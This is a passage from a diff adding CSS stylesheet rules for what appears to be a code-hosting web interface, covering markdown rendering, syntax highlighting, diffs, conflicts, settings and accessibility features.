| 1610 | + | comments all go through the same comrak pipeline and land here via | |
| 1611 | + | `PreEscaped`, so one set of tag selectors styles every one of them. */ | |
| 1612 | + | .markdown-body h1, | |
| 1613 | + | .markdown-body h2, | |
| 1614 | + | .markdown-body h3, | |
| 1615 | + | .markdown-body h4, | |
| 1616 | + | .markdown-body h5, | |
| 1617 | + | .markdown-body h6 { | |
| 1618 | + | font-family: var(--font-condensed); | |
| 1619 | + | font-weight: 600; | |
| 1620 | + | color: var(--text); | |
| 1621 | + | line-height: 1.25; | |
| 1622 | + | } | |
| 1623 | + | ||
| 1624 | + | .markdown-body h1 { | |
| 1625 | + | margin: 24px 0 12px; | |
| 1626 | + | font-size: var(--text-xl); | |
| 1627 | + | font-weight: 700; | |
| 1628 | + | } | |
| 1629 | + | ||
| 1630 | + | .markdown-body h2 { | |
| 1631 | + | margin: 28px 0 8px; | |
| 1632 | + | padding-bottom: 6px; | |
| 1633 | + | border-bottom: 1px solid var(--border); | |
| 1634 | + | font-size: var(--text-lg); | |
| 1635 | + | } | |
| 1636 | + | ||
| 1637 | + | .markdown-body h3 { | |
| 1638 | + | margin: 20px 0 8px; | |
| 1639 | + | font-size: var(--text-md); | |
| 1640 | + | } | |
| 1641 | + | ||
| 1642 | + | .markdown-body h4, | |
| 1643 | + | .markdown-body h5, | |
| 1644 | + | .markdown-body h6 { | |
| 1645 | + | margin: 16px 0 6px; | |
| 1646 | + | font-size: var(--text-base); | |
| 1647 | + | font-weight: 500; | |
| 1648 | + | } | |
| 1649 | + | ||
| 1650 | + | .markdown-body p { | |
| 1651 | + | margin: 12px 0; | |
| 1652 | + | line-height: 1.6; | |
| 1653 | + | color: var(--text-dim); | |
| 1654 | + | } | |
| 1655 | + | ||
| 1656 | + | .markdown-body a { | |
| 1657 | + | color: var(--text); | |
| 1658 | + | text-decoration: underline; | |
| 1659 | + | text-decoration-color: var(--border-strong); | |
| 1660 | + | text-underline-offset: 2px; | |
| 1661 | + | } | |
| 1662 | + | ||
| 1663 | + | .markdown-body a:hover { | |
| 1664 | + | text-decoration-color: var(--brand); | |
| 1665 | + | color: var(--brand); | |
| 1666 | + | } | |
| 1667 | + | ||
| 1668 | + | .markdown-body strong { | |
| 1669 | + | font-weight: 600; | |
| 1670 | + | color: var(--text); | |
| 1671 | + | } | |
| 1672 | + | ||
| 1673 | + | .markdown-body code { | |
| 1674 | + | padding: 0.1em 0.35em; | |
| 1675 | + | border: 1px solid var(--border); | |
| 1676 | + | border-radius: var(--radius-sm); | |
| 1677 | + | background: var(--surface-raised); | |
| 1678 | + | color: var(--brand); | |
| 1679 | + | font-family: var(--font-mono); | |
| 1680 | + | font-size: 0.85em; | |
| 1681 | + | } | |
| 1682 | + | ||
| 1683 | + | .markdown-body pre { | |
| 1684 | + | margin: 16px 0; | |
| 1685 | + | padding: 12px; | |
| 1686 | + | overflow-x: auto; | |
| 1687 | + | border: 1px solid var(--border); | |
| 1688 | + | border-radius: var(--radius); | |
| 1689 | + | background: var(--surface); | |
| 1690 | + | } | |
| 1691 | + | ||
| 1692 | + | .markdown-body pre code { | |
| 1693 | + | padding: 0; | |
| 1694 | + | border: none; | |
| 1695 | + | background: none; | |
| 1696 | + | color: var(--text-dim); | |
| 1697 | + | font-size: var(--text-sm); | |
| 1698 | + | line-height: 1.6; | |
| 1699 | + | } | |
| 1700 | + | ||
| 1701 | + | .markdown-body blockquote { | |
| 1702 | + | margin: 16px 0; | |
| 1703 | + | padding-left: 16px; | |
| 1704 | + | border-left: 2px solid var(--brand); | |
| 1705 | + | color: var(--text-dim); | |
| 1706 | + | font-style: italic; | |
| 1707 | + | } | |
| 1708 | + | ||
| 1709 | + | .markdown-body hr { | |
| 1710 | + | margin: 24px 0; | |
| 1711 | + | border: none; | |
| 1712 | + | border-top: 1px solid var(--border); | |
| 1713 | + | } | |
| 1714 | + | ||
| 1715 | + | .markdown-body ul, | |
| 1716 | + | .markdown-body ol { | |
| 1717 | + | margin: 12px 0; | |
| 1718 | + | padding-left: 22px; | |
| 1719 | + | color: var(--text-dim); | |
| 1720 | + | line-height: 1.6; | |
| 1721 | + | } | |
| 1722 | + | ||
| 1723 | + | .markdown-body li + li { | |
| 1724 | + | margin-top: 4px; | |
| 1725 | + | } | |
| 1726 | + | ||
| 1727 | + | .markdown-body li:has(> input[type="checkbox"]) { | |
| 1728 | + | list-style: none; | |
| 1729 | + | margin-left: -22px; | |
| 1730 | + | } | |
| 1731 | + | ||
| 1732 | + | .markdown-body table { | |
| 1733 | + | width: 100%; | |
| 1734 | + | margin: 16px 0; | |
| 1735 | + | border: 1px solid var(--border); | |
| 1736 | + | border-radius: var(--radius); | |
| 1737 | + | border-collapse: collapse; | |
| 1738 | + | font-size: var(--text-sm); | |
| 1739 | + | } | |
| 1740 | + | ||
| 1741 | + | .markdown-body th { | |
| 1742 | + | padding: 6px 10px; | |
| 1743 | + | border-bottom: 1px solid var(--border); | |
| 1744 | + | background: var(--surface); | |
| 1745 | + | text-align: left; | |
| 1746 | + | font-family: var(--font-condensed); | |
| 1747 | + | font-weight: 600; | |
| 1748 | + | text-transform: uppercase; | |
| 1749 | + | letter-spacing: 0.03em; | |
| 1750 | + | color: var(--text-dim); | |
| 1751 | + | } | |
| 1752 | + | ||
| 1753 | + | .markdown-body td { | |
| 1754 | + | padding: 6px 10px; | |
| 1755 | + | border-bottom: 1px solid var(--border); | |
| 1756 | + | color: var(--text-dim); | |
| 1757 | + | vertical-align: top; | |
| 1758 | + | } | |
| 1759 | + | ||
| 1760 | + | .markdown-body tr:last-child td { | |
| 1761 | + | border-bottom: none; | |
| 1762 | + | } | |
| 1763 | + | ||
| 1764 | + | .markdown-body img { | |
| 1765 | + | max-width: 100%; | |
| 1766 | + | } | |
| 1767 | + | ||
| 1768 | + | /* ─── code listings ────────────────────────────────────────────────────────── */ | |
| 1769 | + | ||
| 1770 | + | .codeblock { | |
| 1771 | + | overflow-x: auto; | |
| 1772 | + | background: var(--bg); | |
| 1773 | + | border: 1px solid var(--border); | |
| 1774 | + | border-radius: var(--radius); | |
| 1775 | + | } | |
| 1776 | + | ||
| 1777 | + | .codetable { | |
| 1778 | + | border-collapse: collapse; | |
| 1779 | + | width: 100%; | |
| 1780 | + | } | |
| 1781 | + | ||
| 1782 | + | .codetable .lineno { | |
| 1783 | + | text-align: right; | |
| 1784 | + | padding: 0 10px; | |
| 1785 | + | user-select: none; | |
| 1786 | + | width: 1%; | |
| 1787 | + | vertical-align: top; | |
| 1788 | + | } | |
| 1789 | + | ||
| 1790 | + | .codetable .lineno a { | |
| 1791 | + | color: inherit; | |
| 1792 | + | } | |
| 1793 | + | ||
| 1794 | + | .codetable .codeline { | |
| 1795 | + | padding: 0 10px; | |
| 1796 | + | white-space: pre; | |
| 1797 | + | } | |
| 1798 | + | ||
| 1799 | + | /* The link target for a permalinked line. `:target` needs no JavaScript, which | |
| 1800 | + | is what keeps line links working with scripting disabled (spec §7). */ | |
| 1801 | + | .codetable tr:target { | |
| 1802 | + | background: color-mix(in srgb, var(--identity) 14%, transparent); | |
| 1803 | + | } | |
| 1804 | + | ||
| 1805 | + | /* ─── syntax tokens ────────────────────────────────────────────────────────── */ | |
| 1806 | + | ||
| 1807 | + | /* Class names come from df-render's HIGHLIGHT_NAMES table: `function.builtin` | |
| 1808 | + | emits both `hl-function` and `hl-function-builtin`, so a family can be themed | |
| 1809 | + | once here and refined where it is worth distinguishing. */ | |
| 1810 | + | ||
| 1811 | + | .hl-comment { color: var(--hl-comment); font-style: italic; } | |
| 1812 | + | .hl-keyword { color: var(--hl-keyword); } | |
| 1813 | + | .hl-string { color: var(--hl-string); } | |
| 1814 | + | .hl-number, | |
| 1815 | + | .hl-boolean, | |
| 1816 | + | .hl-character { color: var(--hl-number); } | |
| 1817 | + | .hl-constant { color: var(--hl-constant); } | |
| 1818 | + | .hl-function { color: var(--hl-function); } | |
| 1819 | + | .hl-constructor { color: var(--hl-type); } | |
| 1820 | + | .hl-type { color: var(--hl-type); } | |
| 1821 | + | .hl-variable { color: var(--hl-variable); } | |
| 1822 | + | .hl-variable-parameter { color: var(--hl-variable); font-style: italic; } | |
| 1823 | + | .hl-property { color: var(--hl-attribute); } | |
| 1824 | + | .hl-operator { color: var(--hl-operator); } | |
| 1825 | + | .hl-punctuation { color: var(--hl-punctuation); } | |
| 1826 | + | .hl-tag { color: var(--hl-tag); } | |
| 1827 | + | .hl-attribute { color: var(--hl-attribute); } | |
| 1828 | + | .hl-label, | |
| 1829 | + | .hl-module { color: var(--hl-type); } | |
| 1830 | + | .hl-escape, | |
| 1831 | + | .hl-string-escape, | |
| 1832 | + | .hl-string-special { color: var(--hl-number); } | |
| 1833 | + | .hl-embedded { color: var(--hl-variable); } | |
| 1834 | + | ||
| 1835 | + | /* Builtins read as slightly more emphatic than user-defined names of the same | |
| 1836 | + | kind — the distinction jj's own CLI colours make, and worth keeping. */ | |
| 1837 | + | .hl-keyword, | |
| 1838 | + | .hl-function-builtin, | |
| 1839 | + | .hl-type-builtin, | |
| 1840 | + | .hl-variable-builtin, | |
| 1841 | + | .hl-constant-builtin { | |
| 1842 | + | font-weight: 500; | |
| 1843 | + | } | |
| 1844 | + | ||
| 1845 | + | /* In a high-contrast context, colour alone must not be the only signal. | |
| 1846 | + | Comments and strings keep their shape cues; everything else falls back to | |
| 1847 | + | the body colour rather than a low-contrast tint (spec §11 accessibility). */ | |
| 1848 | + | @media (prefers-contrast: more) { | |
| 1849 | + | [class^="hl-"], | |
| 1850 | + | [class*=" hl-"] { | |
| 1851 | + | color: var(--text); | |
| 1852 | + | } | |
| 1853 | + | .hl-comment { color: var(--text-dim); font-style: italic; } | |
| 1854 | + | .hl-string { color: var(--text); font-style: italic; } | |
| 1855 | + | .hl-keyword { font-weight: 700; } | |
| 1856 | + | } | |
| 1857 | + | ||
| 1858 | + | ||
| 1859 | + | /* ─── settings ─────────────────────────────────────────────────────────────── */ | |
| 1860 | + | ||
| 1861 | + | .subtabs { | |
| 1862 | + | display: flex; | |
| 1863 | + | gap: 4px; | |
| 1864 | + | border-bottom: 1px solid var(--border); | |
| 1865 | + | margin-bottom: 16px; | |
| 1866 | + | overflow-x: auto; | |
| 1867 | + | } | |
| 1868 | + | ||
| 1869 | + | .subtabs a { | |
| 1870 | + | padding: 8px 12px; | |
| 1871 | + | color: var(--text-dim); | |
| 1872 | + | border-bottom: 2px solid transparent; | |
| 1873 | + | white-space: nowrap; | |
| 1874 | + | } | |
| 1875 | + | ||
| 1876 | + | .subtabs a:hover { | |
| 1877 | + | color: var(--text); | |
| 1878 | + | } | |
| 1879 | + | ||
| 1880 | + | .subtabs a.active { | |
| 1881 | + | color: var(--text); | |
| 1882 | + | border-bottom-color: var(--brand); | |
| 1883 | + | } | |
| 1884 | + | ||
| 1885 | + | .listing { | |
| 1886 | + | width: 100%; | |
| 1887 | + | border-collapse: collapse; | |
| 1888 | + | margin: 12px 0; | |
| 1889 | + | } | |
| 1890 | + | ||
| 1891 | + | .listing th { | |
| 1892 | + | text-align: left; | |
| 1893 | + | font-weight: 500; | |
| 1894 | + | font-size: 12px; | |
| 1895 | + | text-transform: uppercase; | |
| 1896 | + | letter-spacing: 0.04em; | |
| 1897 | + | color: var(--text-faint); | |
| 1898 | + | padding: 6px 10px 6px 0; | |
| 1899 | + | border-bottom: 1px solid var(--border); | |
| 1900 | + | } | |
| 1901 | + | ||
| 1902 | + | .listing td { | |
| 1903 | + | padding: 8px 10px 8px 0; | |
| 1904 | + | border-bottom: 1px solid var(--border); | |
| 1905 | + | vertical-align: middle; | |
| 1906 | + | } | |
| 1907 | + | ||
| 1908 | + | .listing tr:last-child td { | |
| 1909 | + | border-bottom: none; | |
| 1910 | + | } | |
| 1911 | + | ||
| 1912 | + | .kv { | |
| 1913 | + | display: grid; | |
| 1914 | + | grid-template-columns: minmax(120px, max-content) 1fr; | |
| 1915 | + | gap: 6px 16px; | |
| 1916 | + | margin: 0; | |
| 1917 | + | } | |
| 1918 | + | ||
| 1919 | + | .kv dt { | |
| 1920 | + | color: var(--text-faint); | |
| 1921 | + | font-size: 12px; | |
| 1922 | + | text-transform: uppercase; | |
| 1923 | + | letter-spacing: 0.04em; | |
| 1924 | + | align-self: center; | |
| 1925 | + | } | |
| 1926 | + | ||
| 1927 | + | .kv dd { | |
| 1928 | + | margin: 0; | |
| 1929 | + | } | |
| 1930 | + | ||
| 1931 | + | /* The danger zone reads as dangerous without relying on colour alone — the | |
| 1932 | + | border weight and the heading carry it for anyone who cannot see the hue. */ | |
| 1933 | + | .panel-danger { | |
| 1934 | + | border-color: color-mix(in srgb, var(--danger) 55%, var(--border)); | |
| 1935 | + | } | |
| 1936 | + | ||
| 1937 | + | .panel-danger h2, | |
| 1938 | + | .panel-danger h3 { | |
| 1939 | + | color: var(--danger); | |
| 1940 | + | } | |
| 1941 | + | ||
| 1942 | + | .panel-danger hr { | |
| 1943 | + | border: none; | |
| 1944 | + | border-top: 1px solid var(--border); | |
| 1945 | + | margin: 20px 0; | |
| 1946 | + | } | |
| 1947 | + | ||
| 1948 | + | textarea, | |
| 1949 | + | select { | |
| 1950 | + | width: 100%; | |
| 1951 | + | background: var(--bg); | |
| 1952 | + | color: var(--text); | |
| 1953 | + | border: 1px solid var(--border); | |
| 1954 | + | border-radius: var(--radius); | |
| 1955 | + | padding: 8px 10px; | |
| 1956 | + | font-family: inherit; | |
| 1957 | + | font-size: 14px; | |
| 1958 | + | } | |
| 1959 | + | ||
| 1960 | + | textarea { | |
| 1961 | + | font-family: var(--font-mono); | |
| 1962 | + | resize: vertical; | |
| 1963 | + | } | |
| 1964 | + | ||
| 1965 | + | textarea:focus, | |
| 1966 | + | select:focus { | |
| 1967 | + | outline: 2px solid var(--brand); | |
| 1968 | + | outline-offset: -1px; | |
| 1969 | + | } | |
| 1970 | + | ||
| 1971 | + | /* A select inside a table row should not stretch to the full column. */ | |
| 1972 | + | .listing select { | |
| 1973 | + | width: auto; | |
| 1974 | + | min-width: 120px; | |
| 1975 | + | } | |
| 1976 | + | ||
| 1977 | + | .field label input[type="checkbox"] { | |
| 1978 | + | width: auto; | |
| 1979 | + | margin-right: 6px; | |
| 1980 | + | } | |
| 1981 | + | ||
| 1982 | + | ||
| 1983 | + | /* ─── diffs and review ─────────────────────────────────────────────────────── */ | |
| 1984 | + | ||
| 1985 | + | .filediff { | |
| 1986 | + | border: 1px solid var(--border); | |
| 1987 | + | border-radius: var(--radius); | |
| 1988 | + | margin-bottom: 14px; | |
| 1989 | + | overflow-x: auto; | |
| 1990 | + | } | |
| 1991 | + | ||
| 1992 | + | .filediff-head { | |
| 1993 | + | padding: 8px 10px; | |
| 1994 | + | background: var(--surface-raised); | |
| 1995 | + | border-bottom: 1px solid var(--border); | |
| 1996 | + | } | |
| 1997 | + | ||
| 1998 | + | .difftable { | |
| 1999 | + | width: 100%; | |
| 2000 | + | border-collapse: collapse; | |
| 2001 | + | } | |
| 2002 | + | ||
| 2003 | + | .difftable .lineno { | |
| 2004 | + | width: 1%; | |
| 2005 | + | text-align: right; | |
| 2006 | + | padding: 0 8px; | |
| 2007 | + | user-select: none; | |
| 2008 | + | white-space: nowrap; | |
| 2009 | + | } | |
| 2010 | + | ||
| 2011 | + | .difftable .codeline { | |
| 2012 | + | padding: 0 10px; | |
| 2013 | + | white-space: pre-wrap; | |
| 2014 | + | word-break: break-all; | |
| 2015 | + | } | |
| 2016 | + | ||
| 2017 | + | .difftable .hunkhead td { | |
| 2018 | + | padding: 2px 10px; | |
| 2019 | + | color: var(--text-faint); | |
| 2020 | + | background: var(--bg); | |
| 2021 | + | } | |
| 2022 | + | ||
| 2023 | + | .line-add { background: var(--diff-add-bg); color: var(--diff-add-text); } | |
| 2024 | + | .line-del { background: var(--diff-del-bg); color: var(--diff-del-text); } | |
| 2025 | + | ||
| 2026 | + | /* Word-level intra-line changes (spec §8). Rendered as a background wash | |
| 2027 | + | rather than a colour change, so the line's add/delete colour still reads and | |
| 2028 | + | the emphasis survives a high-contrast or monochrome display. */ | |
| 2029 | + | .word-changed { | |
| 2030 | + | background: color-mix(in srgb, currentColor 22%, transparent); | |
| 2031 | + | border-radius: var(--radius-sm); | |
| 2032 | + | } | |
| 2033 | + | ||
| 2034 | + | .inline-thread { | |
| 2035 | + | padding: 10px 14px; | |
| 2036 | + | background: var(--surface); | |
| 2037 | + | border-top: 1px solid var(--border); | |
| 2038 | + | border-bottom: 1px solid var(--border); | |
| 2039 | + | white-space: normal; | |
| 2040 | + | } | |
| 2041 | + | ||
| 2042 | + | .inline-form { | |
| 2043 | + | padding: 4px 14px 10px; | |
| 2044 | + | background: var(--surface); | |
| 2045 | + | white-space: normal; | |
| 2046 | + | } | |
| 2047 | + | ||
| 2048 | + | .inline-form summary { | |
| 2049 | + | cursor: pointer; | |
| 2050 | + | font-size: 12px; | |
| 2051 | + | } | |
| 2052 | + | ||
| 2053 | + | .comment { | |
| 2054 | + | border: 1px solid var(--border); | |
| 2055 | + | border-radius: var(--radius); | |
| 2056 | + | padding: 10px 12px; | |
| 2057 | + | background: var(--surface); | |
| 2058 | + | } | |
| 2059 | + | ||
| 2060 | + | .comment-body { | |
| 2061 | + | margin-top: 6px; | |
| 2062 | + | } | |
| 2063 | + | ||
| 2064 | + | .comment-body > :first-child { margin-top: 0; } | |
| 2065 | + | .comment-body > :last-child { margin-bottom: 0; } | |
| 2066 | + | ||
| 2067 | + | /* The line a comment was written about, retained when the anchor goes stale | |
| 2068 | + | (spec §5 step 4). */ | |
| 2069 | + | .anchor-context { | |
| 2070 | + | margin: 6px 0; | |
| 2071 | + | padding: 6px 10px; | |
| 2072 | + | background: var(--bg); | |
| 2073 | + | border-left: 2px solid var(--identity); | |
| 2074 | + | overflow-x: auto; | |
| 2075 | + | font-size: 12px; | |
| 2076 | + | } | |
| 2077 | + | ||
| 2078 | + | .timeline-event { | |
| 2079 | + | padding: 6px 0; | |
| 2080 | + | border-bottom: 1px dashed var(--border); | |
| 2081 | + | font-size: 13px; | |
| 2082 | + | } | |
| 2083 | + | ||
| 2084 | + | .timeline-dot { | |
| 2085 | + | width: 6px; | |
| 2086 | + | height: 6px; | |
| 2087 | + | flex-shrink: 0; | |
| 2088 | + | border-radius: 50%; | |
| 2089 | + | background: var(--border-strong); | |
| 2090 | + | } | |
| 2091 | + | ||
| 2092 | + | .timeline-dot-conflict { background: var(--conflict); } | |
| 2093 | + | .timeline-dot-merged { background: var(--merged); } | |
| 2094 | + | .timeline-dot-open { background: var(--open); } | |
| 2095 | + | .timeline-dot-abandoned { background: var(--abandoned); } | |
| 2096 | + | .timeline-dot-action { background: var(--action); } | |
| 2097 | + | .timeline-dot-dim { background: var(--border-strong); } | |
| 2098 | + | ||
| 2099 | + | /* ─── conflicts ────────────────────────────────────────────────────────────── */ | |
| 2100 | + | ||
| 2101 | + | .conflict-columns { | |
| 2102 | + | display: grid; | |
| 2103 | + | grid-template-columns: repeat(auto-fit, minmax(240px, 1fr)); | |
| 2104 | + | gap: 1px; | |
| 2105 | + | background: var(--border); | |
| 2106 | + | } | |
| 2107 | + | ||
| 2108 | + | .conflict-side { | |
| 2109 | + | background: var(--surface); | |
| 2110 | + | padding: 10px 12px; | |
| 2111 | + | min-width: 0; | |
| 2112 | + | } | |
| 2113 | + | ||
| 2114 | + | /* A base is the common ancestor, not another candidate resolution. Dimming it | |
| 2115 | + | says so without needing a legend. */ | |
| 2116 | + | .conflict-base { | |
| 2117 | + | background: var(--bg); | |
| 2118 | + | } | |
| 2119 | + | ||
| 2120 | + | .conflict-side pre { | |
| 2121 | + | margin: 6px 0 0; | |
| 2122 | + | overflow-x: auto; | |
| 2123 | + | font-size: 12px; | |
| 2124 | + | max-height: 420px; | |
| 2125 | + | } | |
| 2126 | + | ||
| 2127 | + | /* ─── stack graph ──────────────────────────────────────────────────────────── */ | |
| 2128 | + | ||
| 2129 | + | .stackgraph { | |
| 2130 | + | list-style: none; | |
| 2131 | + | margin: 16px 0 0; | |
| 2132 | + | padding: 0; | |
| 2133 | + | } | |
| 2134 | + | ||
| 2135 | + | .stacknode { | |
| 2136 | + | border-left: 2px solid var(--border); | |
| 2137 | + | padding: 10px 0 10px 14px; | |
| 2138 | + | position: relative; | |
| 2139 | + | } | |
| 2140 | + | ||
| 2141 | + | .stacknode::before { | |
| 2142 | + | content: ""; | |
| 2143 | + | position: absolute; | |
| 2144 | + | left: -5px; | |
| 2145 | + | top: 16px; | |
| 2146 | + | width: 8px; | |
| 2147 | + | height: 8px; | |
| 2148 | + | border-radius: 50%; | |
| 2149 | + | background: var(--border-strong); | |
| 2150 | + | } | |
| 2151 | + | ||
| 2152 | + | .stacknode.current { | |
| 2153 | + | border-left-color: var(--identity); | |
| 2154 | + | } | |
| 2155 | + | ||
| 2156 | + | .stacknode.current::before { | |
| 2157 | + | background: var(--identity); | |
| 2158 | + | } | |
| 2159 | + | ||
| 2160 | + | details summary { | |
| 2161 | + | cursor: pointer; | |
| 2162 | + | } | |
| 2163 | + | ||
| 2164 | + | ||
| 2165 | + | /* ─── issues ───────────────────────────────────────────────────────────────── */ | |
| 2166 | + | ||
| 2167 | + | /* A label's colour comes from the repository, so it is validated as a hex | |
| 2168 | + | triple before it reaches the inline style. When it is not one, the chip falls | |
| 2169 | + | back to these theme colours rather than being dropped. */ | |
| 2170 | + | .label-chip { | |
| 2171 | + | border-width: 1px; | |
| 2172 | + | border-style: solid; | |
| 2173 | + | } | |
| 2174 | + | ||
| 2175 | + | /* ─── masthead search ──────────────────────────────────────────────────────── */ | |
| 2176 | + | ||
| 2177 | + | .masthead-search { | |
| 2178 | + | margin-left: auto; | |
| 2179 | + | margin-right: 16px; | |
| 2180 | + | min-width: 0; | |
| 2181 | + | } | |
| 2182 | + | ||
| 2183 | + | .theme-toggle { | |
| 2184 | + | display: flex; | |
| 2185 | + | align-items: center; | |
| 2186 | + | justify-content: center; | |
| 2187 | + | width: 30px; | |
| 2188 | + | height: 30px; | |
| 2189 | + | padding: 0; | |
| 2190 | + | margin-right: 8px; | |
| 2191 | + | flex-shrink: 0; | |
| 2192 | + | background: transparent; | |
| 2193 | + | border-color: transparent; | |
| 2194 | + | color: var(--text-dim); | |
| 2195 | + | } | |
| 2196 | + | ||
| 2197 | + | .theme-toggle:hover { | |
| 2198 | + | border-color: var(--border-strong); | |
| 2199 | + | color: var(--text); | |
| 2200 | + | } | |
| 2201 | + | ||
| 2202 | + | .theme-toggle .icon-moon { | |
| 2203 | + | display: none; | |
| 2204 | + | } | |
| 2205 | + | ||
| 2206 | + | :root[data-theme="light"] .theme-toggle .icon-sun { | |
| 2207 | + | display: none; | |
| 2208 | + | } | |
| 2209 | + | ||
| 2210 | + | :root[data-theme="light"] .theme-toggle .icon-moon { | |
| 2211 | + | display: block; | |
| 2212 | + | } | |
| 2213 | + | ||
| 2214 | + | .masthead-search input { | |
| 2215 | + | width: 180px; | |
| 2216 | + | max-width: 40vw; | |
| 2217 | + | padding: 5px 9px; | |
| 2218 | + | font-size: 13px; | |
| 2219 | + | } | |
| 2220 | + | ||
| 2221 | + | /* On a narrow screen the search box is the first thing to give up its space. */ | |
| 2222 | + | @media (max-width: 620px) { | |
| 2223 | + | .masthead-search { | |
| 2224 | + | display: none; | |
| 2225 | + | } | |
| 2226 | + | } | |
| 2227 | + | ||
| 2228 | + | ||
| 2229 | + | /* ─── accessibility (spec §11) ─────────────────────────────────────────────── */ | |
| 2230 | + | ||
| 2231 | + | /* The skip link is the first thing in the tab order and invisible until it has | |
| 2232 | + | focus. Positioned rather than hidden — `display:none` would take it out of | |
| 2233 | + | the tab order entirely, which defeats the point. */ | |
| 2234 | + | .skip-link { | |
| 2235 | + | position: absolute; | |
| 2236 | + | left: -9999px; | |
| 2237 | + | top: 0; | |
| 2238 | + | z-index: 100; | |
| 2239 | + | padding: 10px 16px; | |
| 2240 | + | background: var(--surface-raised); | |
| 2241 | + | color: var(--text); | |
| 2242 | + | border: 1px solid var(--border-strong); | |
| 2243 | + | border-radius: 0 0 var(--radius) 0; | |
| 2244 | + | } | |
| 2245 | + | ||
| 2246 | + | .skip-link:focus { | |
| 2247 | + | left: 0; | |
| 2248 | + | } | |
| 2249 | + | ||
| 2250 | + | /* A visible focus indicator on everything interactive. `:focus-visible` so a | |
| 2251 | + | mouse click does not leave a ring behind, but a keyboard user always sees | |
| 2252 | + | where they are. */ | |
| 2253 | + | a:focus-visible, | |
| 2254 | + | button:focus-visible, | |
| 2255 | + | input:focus-visible, | |
| 2256 | + | select:focus-visible, | |
| 2257 | + | textarea:focus-visible, | |
| 2258 | + | summary:focus-visible, | |
| 2259 | + | [tabindex]:focus-visible { | |
| 2260 | + | outline: 2px solid var(--brand); | |
| 2261 | + | outline-offset: 2px; | |
| 2262 | + | border-radius: var(--radius-sm); | |
| 2263 | + | } | |
| 2264 | + | ||
| 2265 | + | /* `main` is focusable only as the skip link's target; it should never draw a | |
| 2266 | + | ring of its own. */ | |
| 2267 | + | main:focus { | |
| 2268 | + | outline: none; | |
| 2269 | + | } | |
| 2270 | + | ||
| 2271 | + | /* Windows high-contrast mode replaces our colours wholesale; make sure the | |
| 2272 | + | focus ring survives it. */ | |
| 2273 | + | @media (forced-colors: active) { | |
| 2274 | + | a:focus-visible, | |
| 2275 | + | button:focus-visible, | |
| 2276 | + | input:focus-visible, | |
| 2277 | + | select:focus-visible, | |
| 2278 | + | textarea:focus-visible { | |
| 2279 | + | outline: 2px solid CanvasText; | |
| 2280 | + | } | |
| 2281 | + | } | |
| 2282 | + | ||
| 2283 | + | /* Badges and chips must not rely on colour alone. They already carry their | |
| 2284 | + | meaning as text; this keeps the border in high-contrast mode so the shape | |
| 2285 | + | still reads as a distinct token. */ | |
| 2286 | + | @media (forced-colors: active) { | |
| 2287 | + | .badge, | |
| 2288 | + | .chip { | |
| 2289 | + | border: 1px solid CanvasText; | |
| 2290 | + | } | |
| 2291 | + | } | |
| 2292 | + | ||
| 2293 | + | /* Visually hidden but announced. */ | |
| 2294 | + | .sr-only { | |
| 2295 | + | position: absolute; | |
| 2296 | + | width: 1px; | |
| 2297 | + | height: 1px; | |
| 2298 | + | padding: 0; | |
| 2299 | + | margin: -1px; | |
| 2300 | + | overflow: hidden; | |
| 2301 | + | clip: rect(0, 0, 0, 0); | |
| 2302 | + | white-space: nowrap; | |
| 2303 | + | border: 0; | |
| 2304 | + | } | |
| 2305 | + | ||
| 2306 | + | ||
| 2307 | + | /* ─── the in-browser editor ────────────────────────────────────────────────── */ | |
| 2308 | + | ||
| 2309 | + | /* The textarea is the editor until CodeMirror replaces it, so it has to look | |
| 2310 | + | like one on its own — not like a form field that happens to hold code. */ | |
| 2311 | + | .editor-host textarea { | |
| 2312 | + | width: 100%; | |
| 2313 | + | min-height: 420px; | |
| 2314 | + | font-family: var(--font-mono); | |
| 2315 | + | font-size: 13px; | |
| 2316 | + | line-height: 1.5; | |
| 2317 | + | tab-size: 4; | |
| 2318 | + | white-space: pre; | |
| 2319 | + | overflow: auto; | |
| 2320 | + | } | |
| 2321 | + | ||
| 2322 | + | /* CodeMirror sizes itself; the host must not fight it. */ | |
| 2323 | + | .editor-host .cm-editor { | |
| 2324 | + | height: auto; | |
| 2325 | + | } | |
| 2326 | + | ||
| 2327 | + | /* ─── code view three-pane layout ──────────────────────────────────────────── */ | |
| 2328 | + | ||
| 2329 | + | /* The last commit that modified this file, shown above the pane layout. */ | |
| 2330 | + | .file-commit-bar { | |
| 2331 | + | display: flex; | |
| 2332 | + | align-items: center; | |
| 2333 | + | gap: 10px; | |
| 2334 | + | padding: 8px 12px; | |
| 2335 | + | margin-bottom: 12px; | |
| 2336 | + | border: 1px solid var(--border); | |
| 2337 | + | border-radius: var(--radius); | |
| 2338 | + | background: var(--surface); | |
| 2339 | + | font-size: var(--text-sm); | |
| 2340 | + | } | |
| 2341 | + | ||
| 2342 | + | /* Three-column grid: file tree | code | symbol outline */ | |
| 2343 | + | .code-view-layout { | |
| 2344 | + | display: grid; | |
| 2345 | + | grid-template-columns: 220px 1fr 200px; | |
| 2346 | + | gap: 0; | |
| 2347 | + | align-items: start; | |
| 2348 | + | border: 1px solid var(--border); | |
| 2349 | + | border-radius: var(--radius); | |
| 2350 | + | overflow: hidden; | |
| 2351 | + | } | |
| 2352 | + | ||
| 2353 | + | /* When the symbol sidebar is absent, the layout collapses to two columns. */ | |
| 2354 | + | .code-view-layout:not(:has(.code-sidebar-right)) { | |
| 2355 | + | grid-template-columns: 220px 1fr; | |
| 2356 | + | } | |
| 2357 | + | ||
| 2358 | + | /* ─── left sidebar (file tree) ──────────────────────────────────────────── */ | |
| 2359 | + | .code-sidebar-left { | |
| 2360 | + | background: var(--surface); | |
| 2361 | + | border-right: 1px solid var(--border); | |
| 2362 | + | max-height: 80vh; | |
| 2363 | + | overflow-y: auto; | |
| 2364 | + | padding: 0; | |
| 2365 | + | } | |
| 2366 | + | ||
| 2367 | + | .sidebar-header { | |
| 2368 | + | display: flex; | |
| 2369 | + | align-items: center; | |
| 2370 | + | gap: 6px; | |
| 2371 | + | padding: 10px 12px; | |
| 2372 | + | border-bottom: 1px solid var(--border); | |
| 2373 | + | font-size: var(--text-sm); | |
| 2374 | + | } | |
| 2375 | + | ||
| 2376 | + | .file-tree { | |
| 2377 | + | display: flex; | |
| 2378 | + | flex-direction: column; | |
| 2379 | + | } | |
| 2380 | + | ||
| 2381 | + | .file-tree-item { | |
| 2382 | + | display: flex; | |
| 2383 | + | align-items: center; | |
| 2384 | + | gap: 6px; | |
| 2385 | + | padding: 5px 12px; | |
| 2386 | + | font-size: var(--text-sm); | |
| 2387 | + | font-family: var(--font-mono); | |
| 2388 | + | color: var(--text); | |
